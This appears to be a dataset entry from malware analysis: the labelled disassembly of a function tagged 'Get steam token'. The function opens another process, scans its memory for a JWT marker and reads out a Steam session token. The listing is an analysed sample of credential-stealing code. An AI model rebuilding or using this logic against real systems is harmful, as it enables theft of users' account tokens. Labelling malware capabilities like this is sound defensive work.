Function at 0x40f6a0
Capabilities:
Get steam token

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44c
push ebx
push esi
push edi
push 0x64000
call sub.msvcrt.dll_void____cdecl_operator_new___unsigned_int_
add esp, 4
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
xor edi, edi
push edi
push 0x1fffff
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], 0xf
mov dword [ebp - 0x10], edi
mov byte [ebp - 0x20], 0
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
cmp ebx, edi
jne 0x40f72d
mov esi, dword [ebp + 8]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], edi
push 0x4201f1
mov byte [esi], 0
call sub.msvcrt.dll_strlen
add esp, 4
push eax
push 0x4201f1
mov ecx, esi
call fcn.0040dc00
cmp dword [ebp - 0xc], 0x10
jb 0x40f905
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.00411610
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x207
lea edx, [ebp - 0x243]
push edi
push edx
mov byte [ebp - 0x244], 0
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x44c]
push eax
push esi
push 0xfff
push 0xffffffffffffffff
push edi
push edi
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push ebx
call fcn.0040f2e0
add esp, 0x2c
mov esi, eax
add esi, 0x208
mov edi, edx
adc edi, 0
test edx, edx
jne 0x40f78b
test eax, eax
je 0x40f878
mov edi, edi
test edx, edx
jne 0x40f78b
cmp eax, 0xffff
jbe 0x40f7a1
push 0
push 0x208
lea ecx, [ebp - 0x244]
push ecx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea edx, [ebp - 0x244]
push edx
call sub.msvcrt.dll_strlen
add esp, 4
push eax
lea eax, [ebp - 0x244]
push eax
lea ecx, [ebp - 0x20]
call fcn.0040dc00
cmp dword [ebp - 0x10], 0x12c
jbe 0x40f81d
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x3c]
push edx
call fcn.0040f5b0
mov eax, dword [ebp - 0x2c]
add esp, 8
test eax, eax
je 0x40f80b
cmp eax, 0xa
jbe 0x40f80b
push str.N0ZWFt
call sub.msvcrt.dll_strlen
add esp, 4
push eax
push 0
push str.N0ZWFt
lea ecx, [ebp - 0x20]
call fcn.0040f490
cmp eax, 0xffffffff
jne 0x40f8b5
cmp dword [ebp - 0x28], 0x10
jb 0x40f81d
mov eax, dword [ebp - 0x3c]
push eax
call fcn.00411610
add esp, 4
push 0x207
lea ecx, [ebp - 0x243]
push 0
push ecx
mov byte [ebp - 0x244], 0
call sub.msvcrt.dll_memset
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x44c]
push edx
push eax
push 0xfff
push 0xffffffffffffffff
push edi
push esi
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push ebx
call fcn.0040f2e0
add esp, 0x2c
mov esi, eax
add esi, 0x208
mov edi, edx
adc edi, 0
test edx, edx
ja 0x40f78b
jb 0x40f878
test eax, eax
jne 0x40f780
mov edx, dword [ebp - 4]
push edx
call sub.msvcrt.dll_void___cdecl_operator_delete___void__
mov esi, dword [ebp + 8]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
push 0x4201f1
mov byte [esi], 0
call sub.msvcrt.dll_strlen
add esp, 8
push eax
push 0x4201f1
mov ecx, esi
call fcn.0040dc00
cmp dword [ebp - 0xc], 0x10
jmp 0x40f8f7
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x20]
xor ebx, ebx
push ecx
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov ecx, esi
mov byte [esi], bl
call fcn.0040dd40
mov edi, 0x10
cmp dword [ebp - 0x28], edi
jb 0x40f8e7
mov edx, dword [ebp - 0x3c]
push edx
call fcn.00411610
add esp, 4
cmp dword [ebp - 0xc], edi
mov dword [ebp - 0x28], 0xf
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0x3c], bl
jb 0x40f905
mov eax, dword [ebp - 0x20]
push eax
call fcn.00411610
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret